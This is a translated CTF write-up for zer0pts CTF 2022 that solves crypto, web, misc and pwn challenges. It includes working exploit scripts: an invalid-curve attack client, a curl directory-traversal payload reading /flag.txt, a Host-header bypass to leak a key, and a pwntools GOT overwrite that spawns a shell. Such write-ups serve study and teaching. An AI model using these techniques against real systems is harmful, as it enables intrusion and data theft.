zer0pts CTF 2022 Writeups

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time I solved some zer0pts CTF problems in XxTSJxX, mainly focusing on Crypto. This article will briefly record the solutions to the problems, without too detailed explanations.

Crypto

Anti-Fermat

from Crypto.Util.number import isPrime, getStrongPrime
from gmpy import next_prime
from secret import flag

# Anti-Fermat Key Generation
p = getStrongPrime(1024)
q = next_prime(p ^ ((1<<1024)-1))
n = p * q
e = 65537

# Encryption
m = int.from_bytes(flag, 'big')
assert m < n
c = pow(m, e, n)

print('n = {}'.format(hex(n)))
print('c = {}'.format(hex(c)))

It is known that pp and qq are bit inverses of each other, so it is obvious that p+q=21024+dp+q=2^{1024}+d, where dd is very small. Therefore, after brute-forcing, we can solve the following quadratic equation:

(xp)(xq)=x2(p+q)x+n=0(x-p)(x-q)=x^2-(p+q)x+n=0
from Crypto.Util.number import long_to_bytes

n = 0x1FFC7DC6B9667B0DCD00D6AE92FB34ED0F3D84285364C73FBF6A572C9081931BE0B0610464152DE7E0468CA7452C738611656F1F9217A944E64CA2B3A89D889FFC06E6503CFEC3CCB491E9B6176EC468687BF4763C6591F89E750BF1E4F9D6855752C19DE4289D1A7CEA33B077BDCDA3C84F6F3762DC9D96D2853F94CC688B3C9D8E67386A147524A2B23B1092F0BE1AA286F2AA13AAFBA62604435ACBAA79F4E53DEA93AE8A22655287F4D2FA95269877991C57DA6FDEEB3D46270CD69B6BFA537BFD14C926CF39B94D0F06228313D21EC6BE2311F526E6515069DBB1B06FE3CF1F62C0962DA2BC98FA4808C201E4EFE7A252F9F823E710D6AD2FB974949751
c = 0x60160BFED79384048D0D46B807322E65C037FA90FAC9FD08B512A3931B6DCA2A745443A9B90DE2FA47AAF8A250287E34563E6B1A6761DC0CCB99CB9D67AE1C9F49699651EAFB71A74B097FC0DEF77CF287010F1E7BD614DCCFB411CDCCBB84C60830E515C05481769BD95E656D839337D430DB66ABCD3A869C6348616B78D06EB903F8ABD121C851696BD4CB2A1A40A07EEA17C4E33C6A1BEAFB79D881D595472AB6CE3C61D6D62C4EF6FA8903149435C844A3FAB9286D212DA72B2548F087E37105F4657D5A946AFD12B1822CEB99C3B407BB40E21163C1466D116D67C16A2A3A79E5CC9D1F6A1054D6BE6731E3CD19ABBD9E9B23309F87BFE51A822410A62

P.<x> = ZZ[]

t = 1 << 1024
while True:
    f = x ^ 2 - t * x + n
    rs = f.roots()
    if len(rs) > 0:
        p = rs[0][0]
        q = n // p
        assert p * q == n
        break
    t += 1
d = inverse_mod(65537, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m).decode())
# zer0pts{F3rm4t,y0ur_m3th0d_n0_l0ng3r_w0rks.y0u_4r3_f1r3d}

CurveCrypto

import os
from random import randrange
from Crypto.Util.number import bytes_to_long, long_to_bytes, getStrongPrime
from Crypto.Util.Padding import pad
from fastecdsa.curve import Curve

def xgcd(a, b):
    x0, y0, x1, y1 = 1, 0, 0, 1
    while b != 0:
        q, a, b = a // b, b, a % b
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return a, x0, y0

def gen():
    while True:
        p = getStrongPrime(512)
        if p % 4 == 3:
            break
    while True:
        q = getStrongPrime(512)
        if q % 4 == 3:
            break
    n = p * q
    a = randrange(n)
    b = randrange(n)

    while True:
        x = randrange(n)
        y2 = (x**3 + a*x + b) % n
        assert y2 % n == (x**3 + a*x + b) % n
        if pow(y2, (p-1)//2, p) == 1 and pow(y2, (q-1)//2, q) == 1:
            yp, yq = pow(y2, (p + 1) // 4, p), pow(y2, (q + 1) // 4, q)
            _, s, t = xgcd(p, q)
            y = (s*p*yq + t*q*yp) % n
            break
    return Curve(None, n, a, b, None, x, y) 

def encrypt(m, G):
    blocks = [m[16*i:16*(i+1)] for i in range(len(m) // 16)]
    c = []
    for i in range(len(blocks)//2):
        G = G + G
        c.append(G.x ^ bytes_to_long(blocks[2*i]))
        c.append(G.y ^ bytes_to_long(blocks[2*i+1]))
    return c

def decrypt(c, G):
    m = b''
    for i in range(len(c) // 2):
        G = G + G
        m += long_to_bytes(G.x ^ c[2*i])
        m += long_to_bytes(G.y ^ c[2*i+1])
    return m

flag = pad(os.environ.get("FLAG", "fakeflag{sumomomomomomomomonouchi_sumomo_mo_momo_mo_momo_no_uchi}").encode(), 32)
C = gen()
c = encrypt(flag, C.G)
assert decrypt(c, C.G) == flag

print("n = {}".format(C.p))
print("a = {}".format(C.a))
print("b = {}".format(C.b))
print("c = {}".format(c))

In short, it finds a point GG on an elliptic curve over Zn\mathbb{Z}_n (where n=pqn=pq) as the key, and then uses the coordinates of 2G,4G,8G2G, 4G, 8G \cdots as the key stream to XOR encrypt the flag.

The problem is that nn is 1024 bits, but the encrypted block is only 16 bytes, i.e., 128 bits. This means that the ciphertext actually contains the high bits of the coordinates of 2G2G, with only the lower 128 bits of x and y being scrambled.

The solution is to list the following equations:

(y+dy)2(x+dx)3+a(x+dx)+b(modn)(y+dy)^2 \equiv (x+dx)^3+a(x+dx)+b \pmod{n}

Then use Coppersmith to find dx,dydx, dy to get 2G2G, and then decrypt.

The code to recover 2G2G:

n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [
    105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709,
    119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520,
    77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436,
    19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137,
]

load("coppersmith.sage")
P.<xx,yy> = Zmod(n)[]
x = c[0] + xx
y = c[1] + yy
f = y ^ 2 - (x ^ 3 + a * x + b)

xx, yy = small_roots(f, (2 ^ 128, 2 ^ 128))[0]
x = (c[0] + xx) % n
y = (c[1] + yy) % n
assert (y ^ 2) % n == (x ^ 3 + a * x + b) % n
print(x, y)  # 2G

The remaining decryption code:

from Crypto.Util.number import long_to_bytes
from fastecdsa.curve import Curve


def decrypt(c, G):
    m = b""
    for i in range(len(c) // 2):
        m += long_to_bytes(G.x ^ c[2 * i])
        m += long_to_bytes(G.y ^ c[2 * i + 1])
        G = G + G
    return m


n = 144119247523820514307319742558945817289524321678464785828165262389987364282241677120346992289602773032781170623185859522408681068717004227361637296377314973988883717763449514502353544535632434189976809320943402560377421207936239458384129077990667822889168041784489265932700188699685494064706711885776064499497
a = 83982245487363010227377287615815704138676734572052340268107937333404040064487258387610318909300475704005267406361509228314981566916144028418544919408625857597243933586742790305821574823017061268314657578742703998273111267249007415214833152992932175602495617018238154444547422725699672732735594492967242602718
b = 102854241650706614574910858961148621902783569513613650939938174283440416794379436560775021794677794290971284767314108620894847399989166711219489947662922391647064573171363714323032220660223765035347554282052095512011142748460282601639626032525448005114625186640435086840602281790716023653081557628791656792754
c = [
    105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983149197374154699808776545479724047776709,
    119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712497284900223656294050022339709410514520,
    77449803463514047535477961978015960018035778347793833401263588747978475501148536780819549296447786417024775899457091074251167349568353877838782428368954481576827862607179873977973077737374411980559467128298050283927229354740670622117284854556777626729609958202274963553796799701913426256413699327094959918436,
    19881898638980767541769585302774976337079209934548061143259050559139791898245439933411471322660256972236103364955342341822881304403603105610433373205174678091884754857958259183427619764249723943787639988589593508171175819610469625589807019978156747244656206732357606116993349990555417285468500357366492529137,
]

gx = 105112301098281496097034027523577403453326764144228787624401074405541577932642530851395484380691290162552636478481380927941044566041120344238783491322553291628678134801814105484196704974017218455216419335693731277825573231392222665423245586612395848380318111988284920983114163361424268999964406373744402729889
gy = 119931822446994265076022490333904239240145849067899601686086810952135061724293475540637951596476598377673280140779509869539582077226280886787012312965074972316057414014195571814522208145587153069696640304889800585974357119323578638404957302760851214606619517664508954712596897120285942097736344387658770086763
C = Curve(None, n, a, b, None, gx, gy)
print(decrypt(c, C.G).decode().strip())

# zer0pts{th3_g00d_3ncrypti0n_c0m3s_fr0m_th3_g00d_curv3}

EDDH

from random import randrange
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Cipher import AES
from hashlib import sha256
import ast
import os
import signal

n = 256
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 1
q = 64141017538026690847507665744072764126693080268699847241685146737444135961328
c = 4
gx = 36618472676058339844598776789780822613436028043068802628412384818014817277300
gy = 9970247780441607122227596517855249476220082109552017755637818559816971965596

def xor(xs, ys):
    return bytes(x^y for x, y in zip(xs, ys))

def pad(b, l):
    return b + b"\0" + b"\xff" * (l - (len(b) + 1))

def unpad(b):
    l = -1
    while b[l] != 0:
        l -= 1
    return b[:l]

def add(P, Q):
    (x1, y1) = P
    (x2, y2) = Q

    x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
    y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
    return (x3, y3)

def mul(x, P):
    Q = (0, 1)
    x = x % q
    while x > 0:
        if x % 2 == 1:
            Q = add(Q, P)
        P = add(P, P)
        x = x >> 1
    return Q

def to_bytes(P):
    x, y = P
    return int(x).to_bytes(n // 8, "big") + int(y).to_bytes(n // 8, "big")

def send(msg, share):
    assert len(msg) <= len(share)
    print(xor(pad(msg, len(share)), share).hex())

def recv(share):
    inp = input()
    msg = bytes.fromhex(inp)
    assert len(msg) <= len(share)
    return unpad(xor(msg, share))

def main():
    signal.alarm(300)

    flag = os.environ.get("FLAG", "0nepoint{frog_pyokopyoko_3_pyokopyoko}")
    assert len(flag) < 2*8*n
    while len(flag) % 16 != 0:
        flag += "\0"

    G = (gx, gy)
    s = randrange(0, q)
    print(f'{s = }')

    print("sG = {}".format(mul(s, G)))
    tG = ast.literal_eval(input("tG = "))  # you should input something like (x, y)
    assert len(tG) == 2
    assert type(tG[0]) == int and type(tG[1]) == int
    share = to_bytes(mul(s, tG))

    while True:
        msg = recv(share)
        if msg == b"flag":
            aes = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
            send(aes.encrypt(flag.encode()), share)

        elif msg == b"quit":
            quit()

        else:
            send(msg, share)

if __name__ == '__main__':
    main()

In this problem, you can perform Diffie-Hellman on an Edward curve with the server, and the communication will also use the shared secret for encryption.

The key is that it does not check whether the point we send is on the curve, and the Edward curve has an invalid curve attack that utilizes the following property of its addition formula:

(0,y1)+(0,y2)=(0,y1y2)(0,y_1)+(0,y_2)=(0,y_1 y_2)

So we have

s×(0,y)=(0,ys)s \times (0,y)=(0,y^s)

It is easy to find that p1p-1 is quite smooth, so after getting the point, use Pohlig-Hellman to calculate ss and then decrypt the flag.

There is a small trick to get its point. I sent the point (0,2)(0,2), and the server will calculate (0,2s)(0,2^s) and convert it to bytes to get share, and then use share to XOR encrypt the communication. First, send '\x00' * 64 to the server, and it will probably enter the else branch. Since it is (0,2s)(0,2^s), we can guess that len(msg) == 31, so the padding of send(msg, share) will be b'\x00' * 31 + b'\x00' + b'\xff' * 32. XOR the received message with the padding to get share, and then restore (0,2s)(0,2^s).

from pwn import *
from sage.all import GF
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import ast

context.log_level = "debug"


def xor(xs, ys):
    return bytes(x ^ y for x, y in zip(xs, ys))


def pad(b, l):
    return b + b"\0" + b"\xff" * (l - (len(b) + 1))


def unpad(b):
    l = -1
    while b[l] != 0:
        l -= 1
    return b[:l]


def add(P, Q):
    (x1, y1) = P
    (x2, y2) = Q

    x3 = (x1 * y2 + y1 * x2) * inverse(1 + d * x1 * x2 * y1 * y2, p) % p
    y3 = (y1 * y2 - a * x1 * x2) * inverse(1 - d * x1 * x2 * y1 * y2, p) % p
    return (x3, y3)


def mul(x, P):
    Q = (0, 1)
    x = x % q
    while x > 0:
        if x % 2 == 1:
            Q = add(Q, P)
        P = add(P, P)
        x = x >> 1
    return Q


def to_bytes(P):
    x, y = P
    return int(x).to_bytes(n // 8, "big") + int(y).to_bytes(n // 8, "big")


def from_bytes(b):
    x = int.from_bytes(b[:32], "big")
    y = int.from_bytes(b[32:], "big")
    return x, y


n = 256
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 1
q = 64141017538026690847507665744072764126693080268699847241685146737444135961328
c = 4

gx = 36618472676058339844598776789780822613436028043068802628412384818014817277300
gy = 9970247780441607122227596517855249476220082109552017755637818559816971965596

# io = process(["python", "server.py"])
io = remote("crypto.ctf.zer0pts.com", 10929)
io.recvuntil(b"sG = ")
sG = ast.literal_eval(io.recvlineS())
io.sendlineafter(b"tG = ", b"(0, 2)")
io.sendline((b"\x00" * 64).hex().encode())
# assuming it is trimmed to 31 bytes
# so padded message will be b'\x00' * 31 + b'\x00' + b'\xff' * 32
padded = b"\x00" * 31 + b"\x00" + b"\xff" * 32
_, ys = from_bytes(xor(padded, bytes.fromhex(io.recvlineS())))


s = GF(p)(ys).log(2)
assert mul(s, (gx, gy)) == sG, "Try again"
print(s)

share = to_bytes(mul(s, (0, 2)))
io.sendline(xor(pad(b"flag", len(share)), share).hex().encode())
ct = xor(bytes.fromhex(io.recvlineS()), share)
cipher = AES.new(key=sha256(long_to_bytes(s)).digest(), mode=AES.MODE_ECB)
flag = cipher.decrypt(ct)
print(flag)

# zer0pts{edwards_what_the_hell_is_this}

Karen

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read(), "big")

n = 70
m = flag.bit_length()
assert n < m
p = random_prime(2**512)


F = GF(p)
x = random_matrix(F, 1, n)
A = random_matrix(ZZ, n, m, x=0, y=2)
A[randint(0, n-1)] = vector(ZZ, Integer(flag).bits())
h = x*A

print(p)
print(list(h[0]))

The problem is short. In short, there is a 512-bit prime pp, an n×mn \times m binary matrix AA, and a uniform random vector xx. The only known information is pp and h=xAh=xA, and the goal is to restore AA.

This problem is called the hidden subset sum problem. Not long ago, I solved it in AIS3 EOF Quals. The expected solution is to use the paper A Polynomial-Time Algorithm for Solving the Hidden Subset Sum Problem.

I directly modified the previous code. Due to different parameters, there were some small bugs, such as previously I thought the first nn vectors after LLL of hh were the basis of the orthogonal lattice, but after reviewing, I found it should be mnm-n vectors. The previous solution worked because m=2nm=2n at that time.

import ast

with open("output.txt") as f:
    p = ast.literal_eval(f.readline())
    h = ast.literal_eval(f.readline())


m = len(h)
n = 70

# orthogonal lattice
B = matrix(h).T.augment(matrix.identity(m)).stack(vector([p] + [0] * m))
nr = m - n
print("start BKZ", B.dimensions())
# ortho = B.LLL()[:nr, 1:]
ortho = B.BKZ()[:nr, 1:]
print(ortho)
# print(ortho * A.T)  # first nr rows are zeros
# exit()

R = ortho.T.augment(matrix.identity(m))

# print('after')
# print((A*R)[:,:nr])
# print('after nr')
# print((A*R)[:,nr:])
# exit()

R[:, :nr] *= 2 ^ 10
print("start LLL", R.dimensions())
# R = R.BKZ(algorithm="NTL")
R = R.LLL()

print("=" * 10)

goodvecs = []
for row in R:
    if any([x != 0 for x in row[:nr]]):
        continue
    if all(-1 <= x <= 1 for x in row):
        goodvecs.append(row[nr:])
        print(row[nr:])
print("gvecs", len(goodvecs))


def is_good(v):
    if all([x == 0 for x in v]):
        return None
    if all([0 <= x <= 1 for x in v]):
        return tuple(v)
    if all([-1 <= x <= 0 for x in v]):
        return tuple(-v)

print("find 01 basis")

from itertools import product
from tqdm import tqdm

avecs = set()
for v in goodvecs:
    if all(0 <= x <= 1 for x in v):
        avecs.add(tuple(v))
        bestvec = v
print(len(avecs))
for v1 in tqdm(goodvecs):
    for v2 in goodvecs:
        for coef in product([-1, 0, 1], repeat=3):
            vv = coef[0] * v1 + coef[1] * v2 + coef[2] * bestvec
            if any([x < 0 for x in vv]):
                vv = -vv
            if all([0 <= x <= 1 for x in vv]) and sum(vv) != 0:
                avecs.add(tuple(vv))
    if len(avecs) == n:
        break

print(len(avecs))
avecs = list(avecs)
AT = matrix(ZZ, avecs).T
x = AT.change_ring(Zmod(p)).solve_right(vector(h)).change_ring(ZZ)
print(x)

from Crypto.Util.number import *

for row in AT.T:
    bits = "".join(map(str, row))[::-1]
    m = int(bits, 2)
    f = long_to_bytes(m)
    if b"zer0pts" in f:
        print(f)

# zer0pts{Karen_likes_orthogonal_as_you_like}

Web

GitFile Explorer

<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) {
    if (strpos($service, "github") !== false) {
        /* GitHub URL */
        return $service."/".$owner."/".$repo."/".$branch."/".$file;

    } else if (strpos($service, "gitlab") !== false) {
        /* GitLab URL */
        return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;

    } else if (strpos($service, "bitbucket") !== false) {
        /* BitBucket URL */
        return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;

    }

    return null;
}

$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner   = empty($_GET['owner'])   ? "ptr-yudai" : $_GET['owner'];
$repo    = empty($_GET['repo'])    ? "ptrlib"    : $_GET['repo'];
$branch  = empty($_GET['branch'])  ? "master"    : $_GET['branch'];
$file    = empty($_GET['file'])    ? "README.md" : $_GET['file'];

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        $result = file_get_contents($url);
    }
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>GitFile Explorer</title>
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css">
    </head>
    <body>
        <header>
            <h1>GitFile Explorer API Test</h1>
            <p>Simple API to download files on GitHub/GitLab/BitBucket</p>
        </header>
        <main>
            <form method="GET" action="/">
                <label for="service">Service: </label>
                <select id="service" name="service" autocomplete="off">
                    <option value="https://raw.githubusercontent.com" <?= strpos($service, "github") === false ? "" : 'selected="selected"' ?>>GitHub</option>
                    <option value="https://gitlab.com" <?= strpos($service, "gitlab") === false ? "" : 'selected="selected"' ?>>GitLab</option>
                    <option value="https://bitbucket.org" <?= strpos($service, "bitbucket") === false ? "" : 'selected="selected"' ?>>BitBucket</option>
                </select>
                <br>
                <label for="owner">GitHub ID: </label>
                <input id="owner" name="owner" type="text" placeholder="Repository Owner" value="<?= h($owner); ?>">
                <br>
                <label for="repo">Repository Name: </label>
                <input id="repo" name="repo" type="text" placeholder="Repository Name" value="<?= h($repo); ?>">
                <br>
                <label for="branch">Branch: </label>
                <input id="branch" name="branch" type="text" placeholder="Branch Name" value="<?= h($branch); ?>">
                <br>
                <label for="file">File Path: </label>
                <input id="file" name="file" type="text" placeholder="README.md" value="<?= h($file); ?>">
                <br>
                <input type="submit" value="Download">
            </form>
            <?php if (isset($result)) { ?>
                <br>
                <?php if ($result === false) { ?>
                    <p>Not Found :(</p>
                <?php } else {?>
                    <textarea rows="20" cols="40"><?= h($result); ?></textarea>
                <?php } ?>
            <?php } ?>
        </main>
        <footer>
            <p>zer0pts CTF 2022</p>
        </footer>
    </body>
</html>

A simple PHP service, the goal is to read /flag.txt. It is known that it does not check if the URL must start with https?://, so you can use http/../../ to traverse and read the file.

curl 'http://gitfile.ctf.zer0pts.com:8001/' -G --data-urlencode 'service=http///github' --data-urlencode 'file=../../../../../../../../flag.txt'
# zer0pts{foo/bar/../../../../../directory/traversal}

Disco Party

A strange web service, the key code is this part:

@app.route("/api/report", methods=["POST"])
def api_report():
    """Reoprt an invitation ticket"""
    # Get parameters
    try:
        url = flask.request.form["url"]
        reason = flask.request.form["reason"]
        recaptcha_token = flask.request.form["g-recaptcha-response"]
    except Exception:
        return flask.abort(400, "Invalid request")

    # Check reCAPTCHA
    score = verify_recaptcha(recaptcha_token)
    if score == -1:
        return flask.jsonify({"result": "NG", "message": "Recaptcha verify failed"})
    if score <= 0.3:
        return flask.jsonify({"result": "NG", "message": f"Bye robot (score: {score})"})

    # Check URL
    parsed = urllib.parse.urlparse(url.split('?', 1)[0])
    if len(parsed.query) != 0:
        return flask.jsonify({"result": "NG", "message": "Query string is not allowed"})
    if f'{parsed.scheme}://{parsed.netloc}/' != flask.request.url_root:
        return flask.jsonify({"result": "NG", "message": "Invalid host"})

    # Parse path
    adapter = app.url_map.bind(flask.request.host)
    endpoint, args = adapter.match(parsed.path)
    if endpoint != "get_post" or "id" not in args:
        return flask.jsonify({"result": "NG", "message": "Invalid endpoint"})

    # Check ID
    if not get_redis_conn(DB_TICKET).exists(args["id"]):
        return flask.jsonify({"result": "NG", "message": "Invalid ID"})

    key = get_key(args["id"])
    message = f"URL: {url}?key={key}\nReason: {reason}"

    try:
        get_redis_conn(DB_BOT).rpush(
            'report', message[:MESSAGE_LENGTH_LIMIT]
        )
    except Exception:
        return flask.jsonify({"result": "NG", "message": "Post failed"})

    return flask.jsonify({"result": "OK", "message": "Successfully reported"})

It will check the URL you send, then combine it into a message and let a Discord Bot send the message to a secret channel. The goal is to get the key corresponding to the id of a note to get the flag.

The query string part is simple and can be bypassed easily. For netloc, since flask.request.url_root is affected by the Host header, it is controllable and can be bypassed. The check for the path part requires the path to be /post/[^/]{16} to match.

So let your server's URL pass the check, and it will send the message to Discord, and Discord will automatically request the link, so the server can get the key. Then use the key to get the flag.

This problem seems to be a broken problem, the revised version is Disco Festival

Misc

MathHash

import struct
import math
import signal
import os

def MathHash(m):
    hashval = 0
    for i in range(len(m)-7):
        c = struct.unpack('<Q', m[i:i+8])[0]
        t = math.tan(c * math.pi / (1<<64))
        hashval ^= struct.unpack('<Q', struct.pack('<d', t))[0]
    return hashval

if __name__ == '__main__':
    FLAG = os.getenv('FLAG', 'zer0pts<sample_flag>').encode()
    assert FLAG.startswith(b'zer0pts')

    signal.alarm(1800)
    try:
        while True:
            key = bytes.fromhex(input("Key: "))
            assert len(FLAG) >= len(key)

            flag = FLAG
            for i, c in enumerate(key):
                flag = flag[:i] + bytes([(flag[i] + key[i]) % 0x100]) + flag[i+1:]

            h = MathHash(flag)
            print("Hash: " + hex(h))
    except:
        exit(0)

This problem has a very strange Hash function, and the oracle can return the digest after XORing the message with the flag.

My solution mainly uses the known flag prefix zer0pts{ to start, and then tries to brute-force one by one. I noticed that the earlier parts of the hash block have less impact, so I constructed keys like '\xff' * n + ? to brute-force. Since the hash is done using XOR, you can XOR a bunch of hashes together to treat it as a characteristic value of a message under this key format, and also eliminate the impact of the unknown parts of the hash.

After getting a key format, obtain its characteristic value from the remote, and then use the same key and guessed plaintext to brute-force, see which one is more similar to know the plaintext, until the complete flag is obtained.

from pwn import *
from tqdm import tqdm

# io = process(['python', 'server.py'])
io = remote("misc.ctf.zer0pts.com", 10001)


def get_hash(key):
    io.sendlineafter(b"Key: ", key.hex().encode())
    io.recvuntil(b"Hash: ")
    return int(io.recvlineS(), 16)


def MathHash(m):
    hashval = 0
    for i in range(len(m) - 7):
        c = struct.unpack("<Q", m[i : i + 8])[0]
        t = math.tan(c * math.pi / (1 << 64))
        hashval ^= struct.unpack("<Q", struct.pack("<d", t))[0]
    return hashval


def khash(m, k):
    if m == b"FLAG":
        return get_hash(k)
    for i, c in enumerate(k):
        m = m[:i] + bytes([(m[i] + k[i]) % 0x100]) + m[i + 1 :]
    return MathHash(m)


def diff(m, kpfx, wrapper=lambda x: x):
    hashes = []
    for x in wrapper(range(256)):
        hashes.append(khash(m, kpfx + bytes([x])))
    return [x ^ y for x in hashes for y in hashes]


def sim(x, y):
    l = len([1 for a, b in zip(x, y) if a == b])
    return l / len(x)


known = b"zer0pts{s1gn+|3xp^|fr4c"
while not known.endswith(b'}'):
    kpfx = (len(known) - 6) * b"\xff"  # 6 may need to be adjusted
    dflag = diff(b"FLAG", kpfx, wrapper=tqdm)
    good = []
    for x in range(0x20, 0x7F):
        d = diff(known + bytes([x]), kpfx)
        s = sim(d, dflag)
        if s > 0.9:
            good.append((bytes([x]), s))
    good.sort(key=lambda t: t[1], reverse=True)
    good = [x for x, y in good]
    if len(good) == 1:
        known += good[0]
    else:
        print(good)
        known += good[int(input("which: "))]
    print(known)

# zer0pts{s1gn+|3xp^|fr4c.}

Pwn

Modern Rome

#include <string>
#include <iostream>

short buf[10];

void win() {
  std::system("/bin/sh");
}

short readroman(){
  short res = 0;
  std::string s;

  std::cin >> s;
  auto it = s.crbegin();

  int b = 1;
  for (auto c: "IXCM") {
    int cnt = 0;
    while (cnt < 9 && it != s.crend() && *it == c) {
      it++;
      cnt++;
    }
    res += b * cnt;
    b *= 10;
  }

  return res;
}

int main() {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "ind: ";
  int ind = readroman();
  std::cout << "val: ";
  int val = readroman();

  std::cout << "buf[" << ind << "] = " << val << std::endl;
  buf[ind] = val;

  std::exit(0);
}

This problem has no PIE and only Partial RELRO, so it is obvious that the out-of-bounds write given should be used to overwrite the exit in the GOT table to win.

However, since the position of buf is behind exit@got, to write to that position requires a short overflow, but readroman seems to only handle numbers up to 9999.

The key is in the part auto c: "IXCM", which actually includes \0, because "IXCM" is actually {'I', 'X', 'C', 'M', '\0'}. So by sending more \0, it can overflow and write to exit@got.

Since the original entry points to PLT, a partial overwrite of the lower two bytes is enough to change it to the win function and get a shell.

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

exit_got = 0x404058
buf = 0x404340
win = 0x4012F6

index = (exit_got - buf) // 2

if index < 0:
    index += 2 ** 16

# index = 0x1111


def to_roman(n):
    ret = ""
    ret = (n % 10) * "I" + ret
    ret = ((n // 10) % 10) * "X" + ret

    ret = ((n // 100) % 10) * "C" + ret
    ret = ((n // 1000) % 10) * "M" + ret
    ret = ((n // 10000) % 10) * "\x00" + ret
    return ret


print(hex(index))
# io = gdb.debug('./chall', 'b *(main+216)\nc')
io = remote("pwn1.ctf.zer0pts.com", 9000)
io.sendlineafter(b"ind: ", to_roman(index).encode())
io.sendlineafter(b"val: ", to_roman(win & 0xFFFF).encode())  # partial override
io.interactive()

# zer0pts{R0me_w1ll_3x1st_a5_1on9_4s_th3_Col1s3um_d0es}